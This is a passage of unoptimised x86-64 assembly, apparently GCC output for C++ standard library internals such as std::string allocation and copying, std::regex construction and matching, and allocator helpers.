QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax+16], rdx nop pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_lengthEm: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax+8], rdx nop pop rbp ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZStneIcEbRKSaIT_ES3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov eax, 0 pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_destroyEm: push rbp mov rbp, rsp push r12 push rbx sub rsp, 16 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-32] lea rbx, [rax+1] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov r12, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rdx, rbx mov rsi, r12 mov rdi, rax call _ZNSt16allocator_traitsISaIcEE10deallocateERS0_Pcm nop add rsp, 16 pop rbx pop r12 pop rbp ret _ZNSt16allocator_traitsISaIcEE8allocateERS0_m: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorIcE8allocateEmPKv leave ret _ZSt15__alloc_on_copyISaIcEEvRT_RKS1_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZSt18__do_alloc_on_copyISaIcEEvRT_RKS1_St17integral_constantIbLb0EE nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignERKS4_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_assignERKS4_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9push_backEc: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov eax, esi mov BYTE PTR [rbp-44], al mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-24] lea rbx, [rax+1] mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8capacityEv cmp rbx, rax seta al test al, al je .L297 mov rsi, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-40] mov r8d, 1 mov ecx, 0 mov edx, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_mutateEmmPKcm .L297: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-24] add rdx, rax lea rax, [rbp-44] mov rsi, rax mov rdi, rdx call _ZNSt11char_traitsIcE6assignERcRKc mov rax, QWORD PTR [rbp-24] lea rdx, [rax+1] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm nop add rsp, 40 pop rbx pop rbp ret _ZN9__gnu_cxx14__alloc_traitsISaIcEcE17_S_select_on_copyERKS1_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaIcEE37select_on_container_copy_constructionERKS0_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPcEEvT_S7_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_construct_auxIPcEEvT_S7_St12__false_type nop leave ret _ZSt15__alloc_on_moveISaIcEEvRT_S2_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZSt18__do_alloc_on_moveISaIcEEvRT_S2_St17integral_constantIbLb1EE nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_copyEPcPKcm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx cmp QWORD PTR [rbp-24], 1 jne .L303 mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt11char_traitsIcE6assignERcRKc jmp .L305 .L303: mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt11char_traitsIcE4copyEPcPKcm .L305: nop leave ret _ZSteqIcEbRKSaIT_ES3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov eax, 1 pop rbp ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE15_M_check_lengthEmmPKc: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-48], rcx mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8max_sizeEv mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv mov rdx, rax mov rax, QWORD PTR [rbp-32] sub rax, rdx add rax, rbx cmp QWORD PTR [rbp-40], rax seta al test al, al je .L310 mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZSt20__throw_length_errorPKc .L310: nop add rsp, 40 pop rbx pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6assignEmc: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov eax, edx mov BYTE PTR [rbp-36], al movsx ebx, BYTE PTR [rbp-36] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv mov rsi, rax mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov r8d, ebx mov rcx, rdx mov rdx, rsi mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE14_M_replace_auxEmmmc add rsp, 40 pop rbx pop rbp ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-16] add rax, rdx leave ret .LC7: .string "%s: __pos (which is %zu) > this->size() (which is %zu)" _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8_M_checkEmPKc: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv cmp QWORD PTR [rbp-16], rax seta al test al, al je .L316 mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv mov rcx, rax mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-24] mov rsi, rax mov edi, OFFSET FLAT:.LC7 mov eax, 0 call _ZSt24__throw_out_of_range_fmtPKcz .L316: mov rax, QWORD PTR [rbp-16] leave ret _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EEC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 nop pop rbp ret _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC2IPKcEET_S7_NSt15regex_constants18syntax_option_typeE: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov DWORD PTR [rbp-60], ecx lea rax, [rbp-24] mov rdi, rax call _ZNSt6localeC1Ev lea rax, [rbp-56] mov rdi, rax call _ZSt4moveIRPKcEONSt16remove_referenceIT_E4typeEOS4_ mov rbx, QWORD PTR [rax] lea rax, [rbp-48] mov rdi, rax call _ZSt4moveIRPKcEONSt16remove_referenceIT_E4typeEOS4_ mov rsi, QWORD PTR [rax] mov ecx, DWORD PTR [rbp-60] lea rdx, [rbp-24] mov rax, QWORD PTR [rbp-40] mov r8d, ecx mov rcx, rdx mov rdx, rbx mov rdi, rax call _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1IPKcEET_S7_St6localeNSt15regex_constants18syntax_option_typeE lea rax, [rbp-24] mov rdi, rax call _ZNSt6localeD1Ev jmp .L322 mov rbx, rax lea rax, [rbp-24] mov rdi, rax call _ZNSt6localeD1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L322: add rsp, 56 pop rbx pop rbp ret _ZNSt7__cxx1112regex_traitsIcE6lengthEPKc: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt11char_traitsIcE6lengthEPKc leave ret _ZSt11regex_matchIPKccNSt7__cxx1112regex_traitsIcEEEbT_S5_RKNS2_11basic_regexIT0_T1_EENSt15regex_constants15match_flag_typeE: push rbp mov rbp, rsp push rbx sub rsp, 88 mov QWORD PTR [rbp-72], rdi mov QWORD PTR [rbp-80], rsi mov QWORD PTR [rbp-88], rdx mov DWORD PTR [rbp-92], ecx lea rax, [rbp-17] mov rdi, rax call _ZNSaINSt7__cxx119sub_matchIPKcEEEC1Ev lea rdx, [rbp-17] lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEEC1ERKS5_ lea rax, [rbp-17] mov rdi, rax call _ZNSaINSt7__cxx119sub_matchIPKcEEED1Ev mov edi, DWORD PTR [rbp-92] mov rcx, QWORD PTR [rbp-88] lea rdx, [rbp-64] mov rsi, QWORD PTR [rbp-80] mov rax, QWORD PTR [rbp-72] mov r8d, edi mov rdi, rax call _ZSt11regex_matchIPKcSaINSt7__cxx119sub_matchIS1_EEEcNS2_12regex_traitsIcEEEbT_S8_RNS2_13match_resultsIS8_T0_EERKNS2_11basic_regexIT1_T2_EENSt15regex_constants15match_flag_typeE mov ebx, eax nop lea rax, [rbp-64] mov rdi, rax call _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEED1Ev mov eax, ebx jmp .L329 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L329: add rsp, 88 pop rbx pop rbp ret _ZNSt14pointer_traitsIPcE10pointer_toERc: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt9addressofIcEPT_RS0_ leave ret _ZNSt12_Vector_baseImSaImEE12_Vector_implC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaImEC2Ev mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], 0 nop leave ret _ZNSaImED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorImED2Ev nop leave ret _ZNSt12_Vector_baseImSaImEE13_M_deallocateEPmm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx cmp QWORD PTR [rbp-16], 0 je .L336 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaImEE10deallocateERS0_Pmm .L336: nop leave ret _ZSt8_DestroyIPmEvT_S1_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt12_Destroy_auxILb1EE9__destroyIPmEEvT_S3_ nop leave ret _ZNSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EE10_M_destroyEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi cmp QWORD PTR [rbp-8], 0 je .L340 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] add rax, 8 mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-8] mov rdi, rdx call rax .L340: nop leave ret _ZNSt9_Any_data9_M_accessIPKSt9type_infoEERT_v: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt9_Any_data9_M_accessEv leave ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 16 mov rdi, rax call _ZNSt14pointer_traitsIPKcE10pointer_toERS0_ leave ret _ZNSt16allocator_traitsISaIcEE10deallocateERS0_Pcm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorIcE10deallocateEPcm nop leave ret _ZN9__gnu_cxx13new_allocatorIcE8allocateEmPKv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNK9__gnu_cxx13new_allocatorIcE8max_sizeEv cmp QWORD PTR [rbp-16], rax seta al test al, al je .L349 call _ZSt17__throw_bad_allocv .L349: mov rax, QWORD PTR [rbp-16] mov rdi, rax call _Znwm nop leave ret _ZSt18__do_alloc_on_copyISaIcEEvRT_RKS1_St17integral_constantIbLb0EE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_assignERKS4_: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-56], rdi mov QWORD PTR [rbp-64], rsi mov rax, QWORD PTR [rbp-56] cmp rax, QWORD PTR [rbp-64] je .L355 mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8capacityEv mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-24] cmp rax, QWORD PTR [rbp-32] jbe .L353 mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rbp-48], rax mov rdx, QWORD PTR [rbp-32] lea rcx, [rbp-48] mov rax, QWORD PTR [rbp-56] mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_createERmm mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_disposeEv mov rdx, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rdx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm .L353: cmp QWORD PTR [rbp-24], 0 je .L354 mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rbx, rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rcx, rax mov rax, QWORD PTR [rbp-24] mov rdx, rax mov rsi, rbx mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_copyEPcPKcm .L354: mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm .L355: nop add rsp, 56 pop rbx pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_mutateEmmPKcm: push rbp mov rbp, rsp sub rsp, 80 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov QWORD PTR [rbp-64], rcx mov QWORD PTR [rbp-72], r8 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv sub rax, QWORD PTR [rbp-48] sub rax, QWORD PTR [rbp-56] mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv mov rdx, rax mov rax, QWORD PTR [rbp-72] add rax, rdx sub rax, QWORD PTR [rbp-56] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8capacityEv mov rdx, rax lea rcx, [rbp-24] mov rax, QWORD PTR [rbp-40] mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_createERmm mov QWORD PTR [rbp-16], rax cmp QWORD PTR [rbp-48], 0 je .L357 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rcx, rax mov rdx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_copyEPcPKcm .L357: cmp QWORD PTR [rbp-64], 0 je .L358 cmp QWORD PTR [rbp-72], 0 je .L358 mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-48] lea rcx, [rdx+rax] mov rdx, QWORD PTR [rbp-72] mov rax, QWORD PTR [rbp-64] mov rsi, rax mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_copyEPcPKcm .L358: cmp QWORD PTR [rbp-8], 0 je .L359 mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rcx, rax mov rdx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-56] add rax, rdx lea rsi, [rcx+rax] mov rdx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-72] add rdx, rax mov rax, QWORD PTR [rbp-16] lea rcx, [rdx+rax] mov rax, QWORD PTR [rbp-8] mov rdx, rax mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_copyEPcPKcm .L359: mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_disposeEv mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-40] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm nop leave ret _ZNSt16allocator_traitsISaIcEE37select_on_container_copy_constructionERKS0_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSaIcEC1ERKS_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_construct_auxIPcEEvT_S7_St12__false_type: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rdx, QWORD PTR [rbp-40] mov rcx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPcEEvT_S7_St20forward_iterator_tag nop leave ret _ZSt18__do_alloc_on_moveISaIcEEvRT_S2_St17integral_constantIbLb1EE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZSt4moveIRSaIcEEONSt16remove_referenceIT_E4typeEOS3_ nop leave ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8max_sizeEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rdi, rax call _ZNSt16allocator_traitsISaIcEE8max_sizeERKS0_ sub rax, 1 shr rax leave ret .LC8: .string "basic_string::_M_replace_aux" _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE14_M_replace_auxEmmmc: push rbp mov rbp, rsp push rbx sub rsp, 88 mov QWORD PTR [rbp-56], rdi mov QWORD PTR [rbp-64], rsi mov QWORD PTR [rbp-72], rdx mov QWORD PTR [rbp-80], rcx mov eax, r8d mov BYTE PTR [rbp-84], al mov rdx, QWORD PTR [rbp-80] mov rsi, QWORD PTR [rbp-72] mov rax, QWORD PTR [rbp-56] mov ecx, OFFSET FLAT:.LC8 mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE15_M_check_lengthEmmPKc mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv mov QWORD PTR [rbp-24], rax mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-80] add rax, rdx sub rax, QWORD PTR [rbp-72] mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8capacityEv cmp QWORD PTR [rbp-32], rax setbe al test al, al je .L367 mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-64] add rax, rdx mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-24] sub rax, QWORD PTR [rbp-64] sub rax, QWORD PTR [rbp-72] mov QWORD PTR [rbp-48], rax cmp QWORD PTR [rbp-48], 0 je .L369 mov rax, QWORD PTR [rbp-72] cmp rax, QWORD PTR [rbp-80] je .L369 mov rdx, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-72] lea rsi, [rdx+rax] mov rdx, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-80] lea rcx, [rdx+rax] mov rax, QWORD PTR [rbp-48] mov rdx, rax mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_moveEPcPKcm jmp .L369 .L367: mov rcx, QWORD PTR [rbp-80] mov rdx, QWORD PTR [rbp-72] mov rsi, QWORD PTR [rbp-64] mov rax, QWORD PTR [rbp-56] mov r8, rcx mov ecx, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_mutateEmmPKcm .L369: cmp QWORD PTR [rbp-80], 0 je .L370 movsx ebx, BYTE PTR [rbp-84] mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rdx, rax mov rax, QWORD PTR [rbp-64] lea rcx, [rdx+rax] mov rax, QWORD PTR [rbp-80] mov edx, ebx mov rsi, rax mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_S_assignEPcmc .L370: mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-56] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm mov rax, QWORD PTR [rbp-56] add rsp, 88 pop rbx pop rbp ret .LC9: .string "basic_string::_M_create" _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_createERmm: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-32] mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8max_sizeEv cmp rbx, rax seta al test al, al je .L373 mov edi, OFFSET FLAT:.LC9 call _ZSt20__throw_length_errorPKc .L373: mov rax, QWORD PTR [rbp-32] mov rax, QWORD PTR [rax] cmp QWORD PTR [rbp-40], rax jnb .L374 mov rax, QWORD PTR [rbp-32] mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-40] add rdx, rdx cmp rax, rdx jnb .L374 mov rax, QWORD PTR [rbp-40] lea rdx, [rax+rax] mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-32] mov rbx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8max_sizeEv cmp rbx, rax seta al test al, al je .L374 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8max_sizeEv mov rdx, rax mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rax], rdx .L374: mov rax, QWORD PTR [rbp-32] mov rax, QWORD PTR [rax] 